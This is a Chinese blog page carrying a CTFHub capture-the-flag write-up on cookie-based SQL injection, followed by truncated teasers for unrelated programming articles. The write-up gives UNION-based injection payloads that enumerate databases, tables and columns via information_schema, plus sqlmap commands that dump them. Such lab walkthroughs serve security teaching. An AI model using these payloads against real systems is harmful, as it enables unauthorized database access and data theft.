当前位置： 首页 > news >正文

【CTFHub】SQL注入cookie注入及知识点

news 来源：原创 2025/6/15 3:12:11

打开题目页面如下

根据提示应该在cookie处注入，通过burp suite抓包并发到重放器

知识点

Cookie 是存储在用户本地计算机上的小文件，由 Web 服务器通过 HTTP 协议发送给浏览器，并保存在用户的浏览器端。当用户再次访问该网站时，浏览器会将相应的 Cookie 信息发送回服务器，以便服务器识别用户或存储一些用户相关的信息。

最常见的用途是管理用户的会话。当用户登录一个网站后，服务器会创建一个会话，并将一个包含会话标识（Session ID）的 Cookie 发送给用户的浏览器。当用户进行后续操作时，浏览器会将该 Cookie 发送给服务器，服务器根据这个会话标识来识别用户的身份，从而保持用户的登录状态。

Cookie 可以存储用户的偏好信息，如语言偏好、字体大小、主题颜色等。当用户再次访问该网站时，网站可以根据 Cookie 中的信息来提供个性化的体验。

每个 Cookie 都有一个名称（Name）和一个值（Value），它们是一个键值对。名称用于唯一标识一个 Cookie，而值是存储的数据。

方法一：手工注入

判断字段数

id=1 order by 2;

页面正常

页面报错,故字段数为2

判断是字符型注入还是整数型注入

id=1 and 1=1;

页面正常

id=1 and 1=2;

页面报错

判断注入点

id=-1 union select 1,2；

显示2，在2处注入

爆出数据库名

id=-1 union select 1,database()

爆出表名

id=-1 union select 1,group_concat(table_name)  from information_schema.tables where table_schema='sqli';

爆出列名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where  table_name='pfbnuyebas'

爆出字段，得到flag

id=-1 union select 1,qxpiqvkhyf from pfbnuyebas

方法二：sqlmap注入

爆数据库

python sqlmap.py -u "url" --cookie "id=1" --dbs
 爆表名
python sqlmap.py -u "url" --cookie "id=1" -D sqli --tables
 爆字段
python sqlmap.py -u "url" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump
 

相关文章：

【CTFHub】SQL注入cookie注入及知识点

打开题目页面如下 根据提示应该在cookie处注入，通过burp suite抓包并发到重放器 知识点 Cookie 是存储在用户本地计算机上的小文件，由 Web 服务器通过 HTTP 协议发送给浏览器，并保存在用户的浏览器端。当用户再次访问该网站时，浏…...

编程日记 2025/6/2 23:45:48

CSS中样式继承+优先级

继承属性和非继承属性 一、定义及分类 1、继承属性是指在父元素上设置了这些属性后，子元素会自动继承这些属性的值，除非子元素显式地设置了不同的值。 常见的继承属性: 字体 font 系列文本text-align text-ident line-height letter-spacing颜色 col…...

编程日记 2025/6/3 13:48:59

[leetcode]（找到vector中的特定元素并删除）无重复字符的最长子串

一.找到vector中的特定元素并删除 #include <iostream> #include <vector> #include <algorithm> int main() { // 示例 vector std::vector<int> vec {1, 2, 3, 4, 5, 6}; // 要删除的元素 int aim 3; // 查找元素 auto it std::fin…...

编程日记 2025/6/3 5:29:56

记录一次 centos 启动失败

文章目录 现场1分析1现场2分析2搜索实际解决过程 现场1 一次断电,导致 之前能正常启动的centos 7.7 起不来了有部分log , 关键信息如下 [1.332724] XFS(sda3): Internal error xfs ... at line xxx of fs/xfs/xfs_trans.c [1.332724] XFS(sda3): Corruption of in-memory data…...

编程日记 2025/5/30 13:41:46

Linux使用SSH连接GitHub指南

基础配置流程 步骤1：生成SSH密钥 打开终端：首先，打开你的Linux终端。 生成SSH密钥对：输入以下命令来生成一个新的SSH密钥对： ssh-keygen -t rsa -b 4096 -C "your_email@example.com"-t rsa：使用RSA加密算法生成密钥。-b 4096：密钥长度为4096位，增加安全性。…...

编程日记 2025/6/2 0:52:05

QModbusTCPClient占用内存持续增长

最近使用QModbusTCPClient通信&#xff0c;需要频繁发送读写请求&#xff0c;发现软件占用内存一直在增减&#xff0c;经过不断咨询和尝试&#xff0c;终于解决了。 1.方案一&#xff08;失败&#xff09; 最开始以为是访问太频繁&#xff0c;导致创建reply的对象比delete re…...

编程日记 2025/5/30 0:16:52

具体场景的 MySQL 与 redis 数据一致性设计

场景1: 短视频修改名称,简介等视频数据更新还是清除更新策略如何设计?热 key 处理其他处理自己的数据查询 其他问题冷热突变/突然的热 key 加入如果产品要更新后能所有用户立马看到效果怎么办 ? 场景2: 抢红包如何设计?限制红包的数量 分布式锁的自旋问题 场景 3: 更改用户主…...

编程日记 2025/6/2 3:27:08

机器学习之SVD奇异值分解实现图片降维

SVD奇异值分解实现图片降维 目录 SVD奇异值分解实现图片降维1 SVD奇异值分解1.1 概念1.2 基本步骤1.2.1 矩阵分解1.2.2 选择奇异值1.2.3 重建矩阵1.2.4 降维结果 1.3 优缺点1.3.1 优点1.3.2 缺点 2 函数2.1 函数导入2.2 函数参数2.3 返回值2.4 通过 k 个奇异值降维 3 实际测试3…...

编程日记 2025/6/3 4:56:47

基于.Net Core+Vue的文件加密系统

1系统架构图 2 用例图 管理员角色的用例&#xff1a; 文件分享大厅&#xff1a;管理员可以访问文件分享大厅&#xff0c;下载文件。个人信息管理&#xff1a;管理员可以更新自己的个人信息&#xff0c;修改密码。用户管理&#xff1a;管理员负责创建、更新或删除用户账户&…...

编程日记 2025/6/4 9:19:03

数据结构(链表 哈希表)

在Python中&#xff0c;链表和哈希表都是常见的数据结构&#xff0c;可以用来存储和处理数据。 链表是一种线性数据结构&#xff0c;由一系列节点组成&#xff0c;每个节点包含一个数据元素和一个指向下一个节点的指针。链表可以用来实现栈、队列以及其他数据结构。Python中可…...

编程日记 2025/6/2 8:50:39

1161 Merging Linked Lists (25)

Given two singly linked lists L1​a1​→a2​→⋯→an−1​→an​ and L2​b1​→b2​→⋯→bm−1​→bm​. If n≥2m, you are supposed to reverse and merge the shorter one into the longer one to obtain a list like a1​→a2​→bm​→a3​→a4​→bm−1​⋯. For ex…...

编程日记 2025/6/1 20:50:42

第23篇 基于ARM A9处理器用汇编语言实现中断＜五＞

Q&#xff1a;怎样修改HPS Timer 0定时器产生的中断周期&#xff1f; A&#xff1a;在上一期实验的基础上&#xff0c;可以修改按键中断服务程序&#xff0c;实现红色LED上的计数值递增的速率&#xff0c;主程序和其余代码文件不用修改。 实现以下功能&#xff1a;按下KEY0…...

编程日记 2025/6/3 18:06:44

VS Code--常用的插件

原文网址&#xff1a;VS Code--常用的插件_IT利刃出鞘的博客-CSDN博客 简介 本文介绍VS Code&#xff08;Visual Studio Code&#xff09;常用的插件。 插件的配置 默认情况下&#xff0c;插件会放到这里&#xff1a;C:\Users\xxx\.vscode\extensions 修改插件位置的方法 …...

编程日记 2025/5/30 18:04:31

数智化转型 | 星环科技Defensor 助力某银行数据分类分级

在数据驱动的金融时代&#xff0c;数据安全和隐私保护的重要性日益凸显。某银行作为数字化转型的先行者&#xff0c;面临着一项艰巨的任务&#xff1a;如何高效、准确地对分布在多个业务系统、业务库与数仓数湖中的约80万个字段进行数据分类和分级。该银行借助星环科技数据安全…...

编程日记 2025/6/3 10:36:26

【md文档】公式简单介绍

在Markdown文档中&#xff0c;可以使用LaTeX语法来插入数学公式。以下是一些常见的LaTeX公式示例及其在Markdown中的写法&#xff1a; 1. 行内公式 行内公式使用单个美元符号 $ 包裹。 ‘’’ 这是一个行内公式&#xff1a;$E mc^2$效果&#xff1a; 这是一个行内公式&…...

编程日记 2025/6/3 16:11:28

macOS Sequoia 15.3 beta3（24D5055b）发布，附黑、白苹果镜像下载地址

“ 镜像&#xff08;黑苹果引导镜像、白苹果Mac镜像、黑苹果虚拟机镜像&#xff09;下载地址&#xff1a;黑果魏叔官网。” 关于macOS Sequoia 15.3 beta3&#xff08;24D5055b&#xff09;&#xff0c;以下是对其的详细介绍&#xff1a; 一、版本发布信息 发布时间 &#xf…...

编程日记 2025/6/4 11:51:28

HTML学习笔记（4）

目录 一、背景相关样式 二、定位position 三、javascript 1、变量的定义 2、数据类型 3、绑定事件 一、背景相关样式 background-image: url(); // 背景图片 background-repeat: repeat; // 背景图片是否平铺 no-repeat background-size: 200px; // 背景图片尺寸 cover把…...

编程日记 2025/5/30 19:11:54

密钥轮换时，老数据该如何处理

密钥轮换时是否需要重新加密老数据&#xff0c;取决于具体的加密策略和密钥管理系统的设计。以下是两种常见情况及处理方式&#xff1a; 1. 密钥轮换不涉及重新加密老数据 场景&#xff1a;如果密钥轮换仅用于新数据的加密&#xff0c;而老数据仍使用旧密钥解密。 处理方式&a…...

编程日记 2025/6/1 20:21:35

Django框架：python web开发

1.环境搭建&#xff1a; &#xff08;a&#xff09;开发环境&#xff1a;pycharm &#xff08;b&#xff09;虚拟环境&#xff08;可有可无&#xff0c;优点&#xff1a;使用虚拟环境可以把使用的包自动生成一个文件&#xff0c;其他人需要使用时可以直接选择导入包&#xff…...

编程日记 2025/5/30 13:53:36

RCD-IoT：在高数据包传输率下，利用资源受限设备实现工业监测与控制

论文标题 中文&#xff1a;RCD-IoT&#xff1a;在高数据包传输率下&#xff0c;利用资源受限设备实现工业监测与控制 英文&#xff1a;RCD-IoT: Enabling Industrial Monitoring and Control with Resource-Constrained Devices Under High Packet Transmission Rates 作者信…...

编程日记 2025/6/3 21:28:54

LabVIEW实车四轮轮速信号再现系统

开发了一个基于LabVIEW的实车四轮轮速信号再现系统。该系统解决现有电机驱动传感器成本高、重复性差、真实性差和精度低等问题&#xff0c;提供一种高精度、低成本的轮速信号再现解决方案。 项目背景 ABS轮速传感器在现代汽车安全系统中发挥着至关重要的作用。为保证其准确性和…...

编程日记 2025/6/3 15:31:42

【Vim Masterclass 笔记16】S07L32 + L33：同步练习09 —— 掌握 Vim 宏操作的六个典型案例（含点评课内容）

文章目录 S07L32 Exercise 09 - Macros1 训练目标2 操作指令2.1. 打开 macros-practice.txt 文件2.2. 练习1&#xff1a;将旧版 Python 代码转换为新版写法2.3. 练习2&#xff1a;根据列表内容批量创建 Shell 脚本2.4. 练习3&#xff1a;对电话号码作格式化处理2.5. 练习4&…...

编程日记 2025/6/2 18:43:06

LabVIEW 实现线路板 PCB 可靠性测试

在电子设备制造领域&#xff0c;线路板 PCB&#xff08;Printed Circuit Board&#xff09;的可靠性直接影响产品的整体性能和使用寿命。企业在生产新型智能手机主板时&#xff0c;需要对 PCB 进行严格的可靠性测试&#xff0c;以确保产品在复杂环境下能稳定运行。传统的测试方…...

编程日记 2025/6/2 6:01:02

深入内核讲明白Android Binder【二】

深入内核讲明白Android Binder【二】 前言一、Binder通信内核源码整体思路概述1. 客户端向服务端发送数据流程概述1.1 binder_ref1.2 binder_node1.3 binder_proc1.4 binder_thread 2. 服务端的binder_node是什么时候被创建的呢&#xff1f;2.1 Binder驱动程序为服务创建binder…...

编程日记 2025/6/2 10:36:27

TextButton组件的功能与用法

文章目录 1 概念介绍2 使用方法3 示例代码 我们在上一章回中介绍了CircleAvatar Widget,本章回中将介绍Button这种Widget&#xff0c;闲话休提&#xff0c;让我们一起Talk Flutter吧。 1 概念介绍 关于Button相信大家都很熟悉&#xff0c;也就是我们常用的按钮。用户按下按钮后…...

编程日记 2025/5/30 10:53:59

HTML5+Canvas实现的鼠标跟随自定义发光线条源码

源码介绍 HTML5Canvas实现的鼠标跟随自定义发光线条特效源码非常炫酷&#xff0c;在黑色的背景中&#xff0c;鼠标滑过即产生彩色变换的发光线条效果&#xff0c;且线条周围散发出火花飞射四溅的粒子光点特效。 效果预览 源码如下 <!DOCTYPE html PUBLIC "-//W3C//D…...

编程日记 2025/6/3 4:59:08

AS自治系统

引言 通过前几天的学习&#xff0c;我们基本了解了静态路由&#xff0c;有静态就肯定有动态&#xff0c;那他们又有哪些区别呢&#xff1f; 静态路由&#xff1a;由网络管理员手工填写的路由信息。动态路由&#xff1a;所有路由器运行相同路由协议&#xff0c;之后&#xff0c;…...

编程日记 2025/6/3 16:06:17

PyQt6 与 REST API：如何实现桌面应用与 Web 服务的无缝对接

PyQt6 与 REST API&#xff1a;如何实现桌面应用与 Web 服务的无缝对接 今日水一篇 在当今互联网时代&#xff0c;数据交互无处不在。桌面应用与 Web 服务的结合&#xff0c;能够为用户提供更丰富、更实时的功能体验。本文将介绍如何利用 PyQt6 实现桌面应用与 REST API 的无…...

编程日记 2025/6/1 10:46:21

endnote x9 如何将参考文献和文中的应用格式由annotated变为编码，例[1],[2]

在 EndNote X9 中&#xff0c;将参考文献和文中引用格式更改为编码形式&#xff08;如 [1], [2]&#xff09;需要以下步骤&#xff1a; 1. 选择合适的输出样式 打开 EndNote X9。点击菜单栏的 "Edit" > "Output Styles" > "Open Style Manage…...

编程日记 2025/5/31 23:43:49

题解 CodeForces 430B Balls Game 栈 C/C++

题目传送门&#xff1a; Problem - B - Codeforceshttps://mirror.codeforces.com/contest/430/problem/B翻译&#xff1a; Iahub正在为国际信息学奥林匹克竞赛&#xff08;IOI&#xff09;做准备。有什么比玩一个类似祖玛的游戏更好的训练方法呢&#xff1f; 一排中有n个球…...

编程日记 2025/6/1 20:14:18

管理口令安全和资源（二）

DBMS_METADATA DBMS_METADATA 是 Oracle 数据库中的一个包&#xff0c;它提供了用于管理数据库元数据的工具和过程。元数据是关于数据的数据&#xff0c;它描述了数据库的结构&#xff0c;包括表、视图、索引、存储过程、用户和其他数据库对象的信息。DBMS_METADATA 包允许用户…...

编程日记 2025/5/30 13:28:02

【漏洞预警】FortiOS 和 FortiProxy 身份认证绕过漏洞(CVE-2024-55591)

文章目录 一、产品简介二、漏洞描述三、影响版本四、漏洞检测方法五、解决方案 一、产品简介 FortiOS是Fortinet公司核心的网络安全操作系统&#xff0c;广泛应用于FortiGate下一代防火墙&#xff0c;为用户提供防火墙、VPN、入侵防御、应用控制等多种安全功能。 FortiProxy则…...

编程日记 2025/5/29 17:03:20

Cadence笔记--原理图导入PCB

1、以PMU6050为例&#xff0c;首先在原理图双击PMU6050器件&#xff0c;在PCB_Footprint目录填写PCB封装名称并且保存&#xff0c;如下图所示&#xff1a; 2、确保原理图命名的名称不一样&#xff0c;否则会出错&#xff0c;这里PMU6050更改了NC等名称&#xff0c;如下图所示&a…...

编程日记 2025/6/1 17:32:35

TOSUN同星TsMaster使用入门——3、使用系统变量及c小程序结合panel面板发送报文

本篇内容将介绍TsMaster中常用的Panel面板控件以及使用Panel控件通过系统变量以及c小程序来修改信号的值&#xff0c;控制报文的发送等。 目录 一、常用的Panel控件介绍 1.1系统——启动停止按钮 1.2 显示控件——文本框 1.3 显示控件——分组框 1.4 读写控件——按钮 1.…...

编程日记 2025/5/27 5:55:41

Redis 缓存穿透、击穿、雪崩 的区别与解决方案

前言 Redis 是一个高性能的键值数据库&#xff0c;广泛应用于缓存、会话存储、实时数据分析等场景。然而&#xff0c;在高并发的环境下&#xff0c;Redis 缓存可能会遇到 缓存击穿、缓存穿透 和 缓存雪崩 这三大问题。这些问题不仅影响系统的稳定性和性能&#xff0c;还经常出…...

编程日记 2025/5/29 17:50:57

用Cursor生成一个企业官网前端页面（生成腾讯、阿里官网静态页面）

用Cursor生成一个企业官网前端页面 第一版&#xff1a; <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…...

编程日记 2025/6/2 14:24:46

北京市房屋建筑物轮廓shp数据arcgis高度字段内容下载分析

标题中的“北京市房屋建筑物轮廓shp数据arcgis高度字段”涉及到的是地理信息系统&#xff08;GIS&#xff09;中的数据格式和属性字段。在GIS领域&#xff0c;SHP&#xff08;Shapefile&#xff09;是一种常见的矢量数据格式&#xff0c;用于存储地理空间特征&#xff0c;如点、…...

编程日记 2025/6/3 21:27:33

深度学习常见术语解释

正例与负例&#xff1a; 在分类任务中&#xff0c;通常将目标类别称为正例&#xff08;positive&#xff09;&#xff0c;非目标类别称为负例&#xff08;negative&#xff09;。 True Positives&#xff08;TP&#xff09;&#xff1a; 被正确地划分为正例的个数&#xff0c;…...

编程日记 2025/6/2 22:47:25

《内网穿透：网络拓展与安全防护的平衡艺术》

一、引言&#xff1a;开启内网穿透的大门 在当今数字化浪潮席卷全球的时代&#xff0c;网络已成为人们生活和工作中不可或缺的一部分。我们日常使用的网络&#xff0c;如同一个庞大而复杂的生态系统&#xff0c;其中内网和外网犹如两个相互关联却又有所区别的世界。 想象一下…...

编程日记 2025/5/30 13:13:03

文件读取和输入输出

文件指针 在C语言中&#xff0c;文件操作是通过文件指针来进行的。文件指针是一个指向 FILE 结构的指针&#xff0c;用于标识和操作一个文件。 FILE *fp; 常用的文件操作函数 fopen&#xff1a;打开文件。fclose&#xff1a;关闭文件。fread&#xff1a;从文件中读取数据。…...

编程日记 2025/6/1 20:05:41

【Linux系列】查看服务器是否使用了 SSD 的多种方法

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

编程日记 2025/6/2 17:16:22

基础入门-传输加密数据格式编码算法密文存储代码混淆逆向保护安全影响

知识点&#xff1a; 1、传输格式&传输数据-类型&编码&算法 2、密码存储&代码混淆-不可逆&非对称性 一、演示案例-传输格式&传输数据-类型&编码&算法 传输格式 JSON XML WebSockets HTML 二进制 自定义 WebSockets&#xff1a;聊天交互较常…...

编程日记 2025/6/3 20:24:17

通过idea创建的springmvc工程需要的配置

在创建的spring mvc工程中&#xff0c;使用idea开发之前需要配置文件包括porm.xml、web.xml、springmvc.xml 1、porm.xml 工程以来的spring库&#xff0c;主要包括spring-aop、spring-web、spring-webmvc&#xff0c;示例配置如下&#xff1a; <project xmlns"http:/…...

编程日记 2025/6/4 14:34:28

PyTest自学-认识PyTest

1 PyTest自学-认识PyTest 1.1 PyTest可以用来做什么&#xff1f; PyTest是一个自动化测试框架&#xff0c;支持单元测试和功能测试&#xff0c;有丰富的插件&#xff0c;如&#xff0c;pytest-selemium, pytest-html等。 1.2 安装pytest 使用pip install -U pytest。 1.3 py…...

编程日记 2025/6/3 10:29:33

JavaScript系列（31）--装饰器详解

JavaScript装饰器详解 &#x1f3a8; 今天&#xff0c;让我们深入探讨JavaScript的装饰器&#xff08;Decorators&#xff09;。装饰器是一种用于修改类和类成员的强大语言特性&#xff0c;它让我们能够以声明式的方式增强类的功能。 装饰器基础概念 &#x1f31f; &#x1f…...

编程日记 2025/6/4 6:12:58

培养未来：2024年少儿编程教育的实践与思考

目录 引言 &#xff1a; 正文&#xff1a; 一、Scratch教学的深化 二、代码编程的多样化 三、赛教融合驱动 四、社区互动与共同成长 结语 &#xff1a; 引言 &#xff1a; 在快速发展的科技时代&#xff0c;编程教育作为培养未来技术人才的重要环节&#xff0c;不断经历…...

编程日记 2025/6/3 13:17:06

ComfyUI-PromptOptimizer：文生图提示优化节点

ComfyUI-PromptOptimizer 是 ComfyUI 的一个自定义节点&#xff0c;旨在优化文本转图像模型的提示。它将用户输入的提示转换为更详细、更多样化、更生动的描述&#xff0c;使其更适合生成高质量的图像。无需本地模型。 1、功能 提示优化&#xff1a;优化用户输入的提示以生成…...

编程日记 2025/6/3 16:32:38

用户中心项目教程（三）---再谈nvm,nodejs和神器Geek

目录 1.昨日回顾 2.nodejs&&nvm使用 2.1问题抛出 2.2解决方案 3.geek的使用 3.1页面展示 3.2下载链接 3.3如何使用 4.按照官方文档操作 4.1官方文档 4.2我的演示 4.3可能出现的问题 1.昨日回顾 我依稀记得昨天的时候关于这个umi3相关的兼容性问题导致的这个…...

编程日记 2025/6/1 21:48:30

CSS布局新视角：BFC（块级格式化上下文）的作用与优势

在CSS布局的世界中&#xff0c;BFC&#xff08;Block Formatting Context&#xff0c;块级格式化上下文&#xff09;是一个既重要又神秘的概念。它不仅是解决复杂布局问题的关键工具&#xff0c;也是提升页面性能和用户体验的重要手段。本文将从新视角出发&#xff0c;深入探讨…...

编程日记 2025/6/4 1:49:45

智能化植物病害检测：使用深度学习与图像识别技术的应用

植物病害一直是农业生产中亟待解决的问题&#xff0c;它不仅会影响作物的产量和质量&#xff0c;还可能威胁到生态环境的稳定。随着人工智能&#xff08;AI&#xff09;技术的快速发展&#xff0c;尤其是深度学习和图像识别技术的应用&#xff0c;智能化植物病害检测已经成为一…...

编程日记 2025/6/3 10:04:49